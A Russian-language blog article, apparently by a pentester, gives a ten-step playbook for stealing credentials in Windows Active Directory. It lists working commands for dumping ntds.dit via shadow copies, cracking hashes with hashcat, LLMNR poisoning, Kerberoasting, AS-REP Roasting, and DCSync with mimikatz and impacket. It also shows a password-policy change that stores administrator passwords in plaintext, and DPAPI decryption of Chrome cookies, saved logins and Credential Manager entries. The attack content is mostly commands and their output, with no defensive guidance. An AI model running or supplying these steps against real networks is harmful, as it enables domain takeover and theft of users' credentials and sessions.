10 шагов для успешной атаки на Windows Active Directory

10 шагов для успешной атаки на Windows Active Directory

Для успешной атаки на Active Directory, захвата рабочих станций и перемещения по сети настоящему хакеру не обязательно владеть учетными данными пользователей. Но иногда без них не обойтись. А чтобы завладеть учеткой, нужно знать, где в сетях с Active Directory обычно хранятся пароли и как их оттуда добыть.
 
 

Работа с ntds.dit

Файл ntds.dit представляет собой базу данных, в которой хранится информация Active Directory, такая как сведения о пользователях, группах и членстве в группах. База также включает хеши паролей для всех пользователей в домене.

 

Первым делом следует получить копию файла ntds.dit. Он расположен на контроллере домена в директории C:\Windows\NTDS\. Но просто скопировать его не получится, так как этот файл постоянно используется EFS в Active Directory, и оператор (пентестер, редтимер, злоумышленник или исследователь) рискует получить следующее сообщение об ошибке.

Ошибка копирования файла ntds.dit
Ошибка копирования файла ntds.dit

Я расскажу о двух способах скопировать данный файл. Первый способ использует скрипт PowerShell, а второй — копирование с помощью встроенных средств Windows.

Скрипт Invoke-NinjaCopy позволяет копировать любые используемые службами Windows файлы, в том числе и ntds.dit. При этом скрипт не запускает посторонних служб и не внедряется в процессы или контекст System. Этот инструмент получает дескриптор диска, что дает ему право на чтение необработанного массива байтов всего тома. Затем скрипт анализирует структуру NTFS и ищет определенную сигнатуру. Таким образом определяет, где находится файл, и побайтово его копирует. Так можно читать даже файлы, которые блокирует LSASS.

Копирование файла с помощью Invoke-NinjaCopy
Копирование файла с помощью Invoke-NinjaCopy

Плюс ко всему данный скрипт написан на PowerShell, поэтому запускается из памяти, что позволяет избежать его сохранения на диск.

Второй способ — теневое копирование. Для этого используется установленный в Windows инструмент vssadmin. Сначала следует создать теневую копию с помощью следующей команды:

> vssadmin create shadow /for=C:
Создание теневой копии с помощью vssadmin
Создание теневой копии с помощью vssadmin

А теперь можно копировать оттуда никем не используемый файл ntds.dit.

> copy \\?\GLOBALROOT\Device\[имя тома теневой копии]\windows\ntds\ntds.dit C:\ntds.dit
Копирование ntds.dit
Копирование ntds.dit

Таким образом, файл ntds.dit можно скопировать двумя разными способами. Но он зашифрован, и, чтобы его прочитать, необходим файл SYSTEM, получить который можно также несколькими способами. К примеру, из той же теневой копии или из реестра.

> copy \\?\GLOBALROOT\Device\[имя тома теневой копии]\windows\system32\config\system C:\system

> reg save hklm\system C:\sys
Копирование файла system из теневой копии
Копирование файла system из теневой копии
Получение файла system из реестра
Получение файла system из реестра

Теперь у оператора есть необходимые файлы, и он может перенести их к себе на машину для дальнейших работ, точнее для извлечения информации и взлома хешей паролей. Но сначала следует удалить теневую копию.

> vssadmin delete shadows /shadow=[ID теневой копии]
Удаление теневой копии
Удаление теневой копии

Извлечь хеши можно с помощью скрипта secretsdump, входящего в пакет impacket.

## secretsdump.py -system ./system -ntds ./ntds.dit LOCAL
Использование secretsdump для извлечения хешей
Использование secretsdump для извлечения хешей

Для взлома NTLM-хешей можно использовать hashcat. Сохраним их в файл и отправим на перебор.

hashcat -a 0 -m 1000 ntlm.hashes dict.txt
Файл с хешами
Файл с хешами
Результат работы hashcat
Результат работы hashcat

Так мы получим некоторые пароли в открытом виде.

 

Получение данных аутентификации без взаимодействия с LSASS

Конечно, для получения хешей пользовательских паролей можно использовать mimikatz, но сделать это без привлечения процесса LSASS нельзя, так как mimikatz достает данные непосредственно из памяти этого процесса.

В системе Windows NetNTLM — это протокол запроса-ответа, используемый там, где Kerberos не поддерживается. При обычной атаке оператор может активировать NetNTLMv2 в качестве клиентской аутентификации, а затем попробовать пройти проверку подлинности на своем подставном сервере, чтобы перехватить и проанализировать запрос от клиента.

Но использовать сеть — не всегда хорошая идея. Избежать этого нам поможет SSPI — программный интерфейс в Microsoft Windows между приложениями и провайдерами безопасности. Оператор может локально вызвать процедуру метода аутентификации NTLM из приложения пользовательского режима через SSPI. Это позволит вычислить ответ NetNTLM в контексте вошедшего в систему пользователя.

Сделать это можно с помощью инструмента InternalMonologue. Он обладает широким спектром возможностей, как и множеством вариантов запуска.

Справка InternalMonologue, загруженного через Cobalt Strike
Справка InternalMonologue, загруженного через Cobalt Strike

Пример атаки Downgrade с помощью этого инструмента и Cobalt Strike показан на картинке ниже. Таким способом вполне реально получить NetNTLMv2-хеш пользователя, под которым выполнена атака.

Downgrade-атака с помощью InternalMonologue
Downgrade-атака с помощью InternalMonologue

Для взлома NetNTLMv2-хеша также можно использовать hashcat.

Файл с хешем
Файл с хешем
hashcat -a 0 -m 5600 NetNTLMv2.hashes dictionary.txt
Результат работы hashcat
Результат работы hashcat

Эта атака выполняется более скрытно по сравнению с использованием mimikatz, поскольку в данном случае нет необходимости загружать код в защищенный процесс или выгружать память из него. Так как NetNTLMv2-хеш становится доступен в результате взаимодействия с локальным SSPI, сетевой трафик не регистрируется. А значит, в атакуемой системе остается меньше следов.

 

LLMNR/NBT-NS Poisoning

В инфраструктуре Active Directory работа с именами хостов организована с использованием трех протоколов: DNS, LLMNR и NetBIOS. Все три обеспечивают взаимодействие с удаленной машиной по ее имени, так же как и по адресу. Если клиент Windows не может найти в сети имя определенного хоста с использованием DNS, он выполнит запрос с помощью протокола Link-Local Multicast Name Resolution (LLMNR). Если и здесь он потерпит неудачу, то будет выполнен запрос NetBIOS.

Различие между этими протоколами заключается в следующем. В случае с DNS запрос адреса по имени будет направлен на сервер, в то время как протоколы LLMNR и NetBIOS выполнят широковещательную рассылку в локальной сети, и хост, чье имя запрашивается, должен ответить. При этом, в отличие от NetBIOS, LLMNR способен работать с IPv6-адресами.

Оператор может прослушивать широковещательные рассылки LLMNR (UDP/5355) или NBT-NS (UDP/137) и отвечать на них, как будто ему известно местоположение запрошенного узла.

Таким образом, полная цепь атаки выглядит так:

  1. Пользователь вместо \\printserver по ошибке обращается к \\pintserver.
  2. DNS-сервер сообщает, что не имеет такой записи.
  3. Клиент автоматически совершает широковещательный запрос.
  4. Оператор отвечает на него, представляясь несуществующим сервером.
  5. Клиент передает аутентификационную информацию оператору.
Схема атаки LLMNR Poisoning
Схема атаки LLMNR Poisoning

На практике оператору нужен всего лишь один инструмент — Responder, которому следует указать только сетевой интерфейс.

Запуск Responder для LLMNR Poisoning
Запуск Responder для LLMNR Poisoning

Успешно выполненная атака будет выглядеть так, как показано на следующей иллюстрации.

Результат успешной атаки LLMNR Poisoning
Результат успешной атаки LLMNR Poisoning

Так оператор может узнать NetNTLMv2-хеши паролей пользователей. Как их взламывать, уже разобрано ранее.

 

Kerberoasting

Реализация протокола Kerberos в Windows использует имена участников службы (SPN) для определения того, какую учетную запись задействовать для шифрования билета службы. В Active Directory существует два варианта SPN: SPN на основе хоста и произвольные SPN. Первый вариант SPN связан с учетной записью компьютера домена, а второй обычно (но не всегда) — с учеткой пользователя домена.

В документации Microsoft написано буквально следующее: «Когда в Active Directory создается новая учетная запись компьютера, для встроенных служб автоматически создаются имена участников-служб. В действительности имена участников-служб создаются только для службы HOST, а все встроенные службы используют имя участника-службы HOST». Но так как пароль учетной записи компьютера по умолчанию рандомный и меняется каждые 30 дней, оператор в контексте данной атаки, как правило, не обращает внимания на имена SPN на основе хоста.

Произвольные имена участников-служб также могут быть зарегистрированы для учетных записей пользователей домена. Наример, учетная запись службы, которая управляет несколькими экземплярами MSSQL. Таким образом, учетная запись пользователя по умолчанию будет иметь SPN <MSSQLSvc/HOST:PORT> для каждого экземпляра MSSQL, для которого она зарегистрирована. Эта учетная запись хранится в атрибуте ServicePrincipalName профиля пользователя.

Как следует из специфики работы Kerberos, любой пользователь может запросить TGS для любой службы, имеющей зарегистрированное SPN для учетной записи пользователя или компьютера в Active Directory. Таким образом, зная учетные данные любого пользователя домена и SPN учетных записей из домена, оператор может запросить TGS от имени пользователя для данных экземпляров SPN. А взломав TGS, узнать пароли от этих учетных записей.

Схема атаки Kerberoasting
Схема атаки Kerberoasting

Выполнить атаку можно как удаленно, так и при наличии непосредственного доступа к системе. Но для начала нужно получить все SPN из системы. Если есть доступ, следует использовать встроенное решение setspn.

setspn -T [домен] -Q */*
Получение SPN с помощью setspn
Получение SPN с помощью setspn

Указанным способом мы получаем SPN пользователя SQL admin, а это означает, что он уязвим к такой атаке. Локально получить билет можно с помощью Rubeus.

Получение билета с помощью Rubeus
Получение билета с помощью Rubeus

Для удаленного получения SPN и билета необходимы учетные данные любого пользователя домена.

GetUserSPNs.py -request -dc-ip [адрес] [домен]/[пользователь]
Получение билета с помощью impacket
Получение билета с помощью impacket

Для взлома используется hashcat.

hashcat -a 0 -m 13100 krb5.hashes dict.txt
Результат работы hashcat
Результат работы hashcat

Kerberoasting можно также выполнить, перехватив сетевой трафик и захватив билеты Kerberos TGS в случае MITM.

 

AS-REP Roasting

При обычных операциях в среде Windows Kerberos, когда пользователь инициирует запрос TGT (операция Kerberos AS-REQ), он должен указать временную метку, зашифрованную своим паролем (ключом). Метка представляет собой структуру PA-ENC-TIMESTAMP и встроена в PA-DATA (данные предварительной авторизации) AS-REQ. KDC расшифровывает эту метку, чтобы проверить, действительно ли совершающий операцию субъект — тот, за кого себя выдает, а затем возвращает AS-REP и продолжает обычные процедуры аутентификации.

Подобная проверка называется предварительной аутентификацией Kerberos и необходима для предотвращения автономного угадывания пароля. Но проверку можно отключить выставлением флага DONT_REQ_PREAUTH в UAC учетной записи пользователя. Чтобы отключить проверку для конкретного пользователя, оператору необходимо наличие привилегии GenericWrite или GenericAll.

Set-DomainObject -Identity [пользователь] -XOR @{useraccountcontrol=4194304} 

Дело в том, что при отключенной предварительной аутентификации Kerberos KDC все равно вернет AS-REP, который, в свою очередь, зашифрован с помощью ключа службы krbtgt. Но зашифрованная часть AS-REP подписывается клиентским ключом, то есть ключом пользователя, для которого отправляется AS-REQ.

Выполнить атаку можно локально с помощью того же Rubeus.

Получение хеша с помощью Rubeus
Получение хеша с помощью Rubeus

Для удаленной атаки нам нужно узнать пользователей, у которых отключена предварительная аутентификация Kerberos, для чего необходимо иметь учетные данные любого пользователя в домене.

GetNPUsers.py [домен]/[пользователь]:[пароль]
Получение пользователей с отключенной предварительной аутентификацией Kerberos
Получение пользователей с отключенной предварительной аутентификацией Kerberos

Теперь выполним запрос для найденного пользователя.

GetNPUsers.py [домен]/[пользователь] -k -no-рass -dc-iр [IР]
Получение хеша с помощью imрacket
Получение хеша с помощью imрacket

Различие между Kerberoasting и AS-REР Roasting состоит в том, что для данной атаки нужно только имя пользователя, то есть можно составить список и проверить сразу несколько имен. Плюс ко всему можно также узнать, какие пользователи зарегистрированы в системе, а какие нет.

Список пользователей
Список пользователей
Проверка имен пользователей и получение хеша
Проверка имен пользователей и получение хеша

Взломать полученный хеш можно с помощью John the Riррer.

Результат работы John
Результат работы John

Другое различие между Kerberoasting и AS-REР Roasting заключается в том, что AS-REP запрашивает билет проверки подлинности Kerberos (TGT), а не билет проверки подлинности службы (TGS).

 

DCSync

Для атаки DCSync необходимы специальные права. Любой член групп «Администраторы» и «Администраторы домена», а также учетных записей компьютеров контроллера домена может выполнить репликацию данных, используя протокол репликации каталогов DRS. Таким образом клиентский DC отправляет запрос DSGetNCChanges на сервер, когда хочет получать от него обновления объектов AD. Ответ содержит набор обновлений, которые клиент должен применить к своей реплике NC.

Можно выполнить DCSync с использованием обычной учетной записи пользователя. Но для этого одно из следующих правил должно быть делегировано на уровне домена, чтобы учетная запись пользователя могла беспрепятственно получать данные с помощью DCSync:

  1. DS-Replication-Get-Changes — это разрешение необходимо для репликации только тех изменений, которые также реплицированы в глобальный каталог.
  2. DS-Replication-Get-Changes-All — разрешение позволяет репликацию всех данных.

Члены групп «Администраторы» и «Контроллер домена» по умолчанию имеют эти права. После того как учетной записи делегирована возможность репликации объектов, учетная запись может использовать mimikatz DCSync:

mimikatz# lsadump::dcsync /domain:[домен] /user:[пользователь]
DCSync с помощью mimikatz
DCSync с помощью mimikatz

Также при реализации данной атаки можно получить историю паролей учетной записи, точнее NTLM-хеши. Взлом этих хешей позволит понять логику выставления паролей, что, возможно, поможет угадать следующий пароль в случае замены.

Взлом хешей, полученных с помощью DCSync
Взлом хешей, полученных с помощью DCSync

Выполнить DCSync можно также с помощью imрacket удаленно, для чего нужны учетные данные.

secretsdump.py tdomain.dom/root:Secret08@192.168.226.137
DCSync с помощью imрacket
DCSync с помощью imрacket
 

Получение открытого пароля с помощью DCSync

Но что делать, если хеш пароля не взламывается?

DCSync после изменения пароля
DCSync после изменения пароля
Сложный для взлома хеш пароля
Сложный для взлома хеш пароля

Выход есть! Для учетных записей Active Directory существует устаревшая функция, которая называется «обратимое шифрование». Если включено обратимое шифрование, то зашифрованные данные могут быть возвращены обратно к паролю пользователя.

Если для учетной записи включено обратимое шифрование и пользователь меняет пароль после установки этой конфигурации, пароль в виде открытого текста сохраняется в базе данных Active Directory.

Оператор может создать новую группу ShareRoint и добавить все учетные записи домена с атрибутом AdminCount, установленным в 1.

PS > New-ADGroup -Name ShareRoint -SamAccountName ShareRoint -GroupCategory Security -GroupScope Global -DisplayName ShareRoint -Path "CN=Users,DC=tdomain,DC=dom"
PS > $Admins = Get-ADUser -filter { AdminCount -eq 1 }
PS > Add-ADGroupMember ShareRoint -Members $Admins

Теперь нужно создать новую парольную политику.

PS C:\Windows\system32> New-ADFineGrainedPasswordPolicy -Name ShareRoint -DisplayName ShareRoint -Precedence 1 -ComplexityEnabled $false -ReversibleEncryptionEnabled $true -PasswordHistoryCount 0 -MinPasswordLength 0 -MinPasswordAge 0.00:00:00 -MaxPasswordAge 0.00:00:00 -LockoutThreshold 0 -LockoutObservationWindow 0.00:00:00 -LockoutDuration 0.00:00:00

Проверим, что атрибут ReversibleEncryptionEnabled установлен в True.

PS C:\Windows\system32> Get-ADFineGrainedPasswordPolicy ShareRoint
Парольная политика для ShareRoint
Парольная политика для ShareRoint

Теперь стоит применить парольную политику к новой группе.

Add-ADFineGrainedPasswordPolicySubject -Identity ShareRoint -Subjects ShareRoint

Проверить, применилась ли парольная политика, очень легко.

Парольная политика для ShareRoint
Парольная политика для ShareRoint

Новая парольная политика обнуляет все стандартные параметры безопасности паролей домена. После смены пароля, которую инициирует оператор, все пароли администраторов будут храниться в открытом виде.

Пароль пользователя в открытом виде в результате DCSync
Пароль пользователя в открытом виде в результате DCSync
 

Хранилище паролей Windows

Data Protection API (DPAPI) — криптографический интерфейс программирования приложений в ОС семейства Windows, обеспечивающий конфиденциальность данных путем их шифрования.

Почти для всех криптосистем одна из самых сложных задач — управление ключами, вернее вопрос безопасного хранения ключей. Если ключ хранится в виде обычного текста, то любой пользователь, имеющий доступ к ключу, может получить доступ и к зашифрованным данным. DPAPI позволяет разработчикам шифровать приватные данные или ключи, используя симметричный ключ, полученный на основе пароля пользователя.

DPAPI предоставляет набор API для простого шифрования (CryptProtectData()) и дешифрования (CryptUnprotectData()) данных с использованием неявных ключей, привязанных к конкретному пользователю или системе. Это позволяет приложениям защищать пользовательские данные, не беспокоясь о таких вещах, как управление ключами.

Пароль юзера используется для получения мастер-ключа. Эти ключи расположены в папке C:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>, где <SID> — это идентификатор безопасности пользователя, а <GUID> — имя мастер-ключа. Пользователь может иметь несколько мастер-ключей. Этот мастер-ключ необходимо расшифровать с помощью пароля пользователя или ключа резервного копирования домена, а затем применить для расшифровки любых данных DPAPI. Поэтому, если мы попытаемся расшифровать зашифрованный пользователем объект данных DPAPI (например, cookie Chrome), нам нужно получить конкретный мастер-ключ пользователя.

ПО, использующее DPAPI

Chrome использует DPAPI для хранения двух основных типов данных, которые интересуют оператора: содержимого файлов cookie и сохраненных паролей. Файлы cookie расположены по пути %localappdata%\Google\Chrome\User Data\Default\Cookies, а данные авторизации — %localappdata%\Google\Chrome\User Data\Default\Login Data. В большинстве систем %localappdata% сопоставляется с C:\Users\<USER>\AppData\Local. Но сами шифрованные данные хранятся в базе данных SQLite, с которыми способен работать mimikatz. Так как у меня установлен Chrome Dev, то в примере вместо директории Chrome используется директория Chrome Dev.

Просмотреть список файлов cookie и учетных данных с помощью mimikatz можно следующим образом:

mimikatz # dpapi::chrome /in:”%localappdata%\Google\Chrome Dev\User Data\Default\Cookies”
Cookie, хранящиеся в базе данных
Cookie, хранящиеся в базе данных
mimikatz # dpapi::chrome /in:”%localappdata%\Google\Chrome Dev\User Data\Default\Login Data”
Данные форм авторизации, хранящиеся в базе данных
Данные форм авторизации, хранящиеся в базе данных

Однако значения файлов cookie зашифрованы DPAPI с помощью мастер-ключа пользователя, который, в свою очередь, защищен паролем пользователя (или ключом резервного копирования домена). Есть несколько сценариев, в которых может оказаться оператор, пытаясь получить данные файлов cookie (или данные для входа).

1. В контексте целевого пользователя

Самый простой случай, когда твоя сессия находится в контексте целевого пользователя. При таком раскладе следует добавить в команду флаг /unprotect.

mimikatz # dpapi::chrome /in:”%localappdata%\Google\Chrome Dev\User Data\Default\Cookies” /unprotect
Расшифрованные Cookie
Расшифрованные Cookie
mimikatz # dpapi::chrome /in:”%localappdata%\Google\Chrome Dev\User Data\Default\Login Data” /unprotect
Расшифрованные данные форм авторизации
Расшифрованные данные форм авторизации

Поскольку код выполняется в контексте пользователя, то его ключи будут неявно использоваться для расшифровки. Единственная проблема, с которой может столкнуться оператор, — это невозможность открыть базу данных Cookies, когда она используется Chrome. Тогда необходимо просто скопировать файлы в другое место и повторно использовать mimikatz.

2. В контексте администратора с активной сессией целевого пользователя

К примеру, оператор получил административный доступ к системе, в которой имеются пользователи, в текущий момент времени вошедшие в систему. В этом случае прошлый сценарий не сработает.

Неудачное расшифрование данных форм авторизации
Неудачное расшифрование данных форм авторизации

Так происходит потому, что ключ юзера в текущем контексте неявно не используется. И как видно из сообщения mimikatz, для работы необходим мастер-ключ пользователя (также сообщается GUID). Так как пользователь залогинен в системе, его сессия открыта и DPAPI хранит его ключевую информацию. Имея административный доступ, оператор может извлечь все данные DPAPI, где и следует искать мастер-ключ.

mimikatz # privilege::debug
mimikatz # sekurlsa::dpapi
Извлечение данных DPAPI
Извлечение данных DPAPI
Ключевая информация целевого пользователя
Ключевая информация целевого пользователя

Теперь, когда оператор владеет мастер-ключом, он может использовать его для расшифровки данных пользователя.

mimikatz # dpapi::chrome /in:”С:\Users\<USER>\AppData\Local\Google\Chrome Dev\User Data\Default\Login Data” /unprotect /masterkay:[мастер-ключ]
Расшифрованные данные формы авторизации пользователя
Расшифрованные данные формы авторизации пользователя

3. В контексте администратора без сессии целевого пользователя

Если целевой пользователь на текущий момент не вошел в систему, то для получения его мастер-ключа необходимо знать его SID, GUID и пароль или NTLM-хеш пароля. Если пароль или хеш известен (а как получить хотя бы хеш, рассказывалось ранее), то нужно узнать только SID, GUID мы получим из сообщения mimikatz (как в предыдущем пункте).

SID целевого пользователя
SID целевого пользователя

И теперь оператор может получить мастер-ключ.

mimikatz # dpapi::chrome /in:”С:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>” /sid:[SID] /password:[пароль]
Получение мастер-ключа
Получение мастер-ключа

Что делать дальше, уже подробно рассказывалось выше.

4. Административный доступ к контроллеру домена

Теперь рассмотрим случай, когда оператор не имеет хешей или паролей пользователей, при этом сами пользователи в настоящий момент не залогинены в системе. Как уже говорилось, получить мастер-ключ можно с помощью ключа резервного копирования домена. Ключ резервного копирования никогда не меняется, и его можно использовать для расшифровки абсолютно любых ключей пользователей домена.

mimikatz # privilege::debug
mimikatz # lsadump::backupkeys /system:[контроллер домена] /export
Экспорт ключа резервного копирования
Экспорт ключа резервного копирования

Далее оператору нужен GUID целевого пользователя.

GUID целевого пользователя
GUID целевого пользователя

Осталось получить мастер-ключ для этого пользователя.

dpapi::masterkey /in:[GUID] /pvk:[PVK-ключ]
Получение мастер-ключа пользователя
Получение мастер-ключа пользователя

Таким образом, мы рассмотрели все способы извлечения сохраненных паролей.

 

Диспетчер учетных данных

Диспетчер учетных данных, или Credential Manager, — это механизм, который позволяет управлять регистрационными данными пользователей (логин и пароль) для доступа к сетевым ресурсам, а также сертификатами и учетными данными для различных приложений (электронной почты, веб-сервисов и прочих). Рассмотрим работу с диспетчером учетных данных на примере RDP.

Сохраненные учетные данные в WCM через графический интерфейс
Сохраненные учетные данные в WCM через графический интерфейс

Найти те же данные с помощью командной строки можно следующим образом (для английской локали следует использовать строку /listcreds:"Windows Credentials".):

> vaultcmd /listcreds:"Учетные данные Windows" /all
Сохраненные учетные данные в WCM через командную строку
Сохраненные учетные данные в WCM через командную строку

Эти учетные данные хранятся в каталоге пользователя C:\Users\<USER>\AppData\Local\Microsoft\Credentials\.

Учетные данные пользователя
Учетные данные пользователя

Посмотрим на эти данные.

dpapi::cred /in:C:\Users\<USER>\AppData\Local\Microsoft\Credentials\[хранилище]
Учетные данные пользователя
Содержимое хранилища учетных данных

Самое интересное здесь — это pbData (данные, которые нужно расшифровать) и guidMasterKey. Как получить мастер-ключ, мы рассмотрели раньше (эту стадию мы пропустим). Давай расшифруем учетные данные.

dpapi::cred /in:C:\Users\<USER>\AppData\Local\Microsoft\Credentials\[хранилище] /masterkeys:[мастер-ключ]
Учетные данные пользователя
Расшифрованные учетные данные пользователя

Подобным образом можно извлечь любые данные, сохраненные в WCM.

 

Вместо заключения

Для тех, кто хочет получить больше информации по этой теме, я создал телеграм-канал @RalfHackerChannel, где можно задать свои вопросы (или ответить на вопросы других юзеров). До встречи в следующих статьях!

Click to rate this post!
[Total: 0 Average: 0]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Leave a reply:

Your email address will not be published.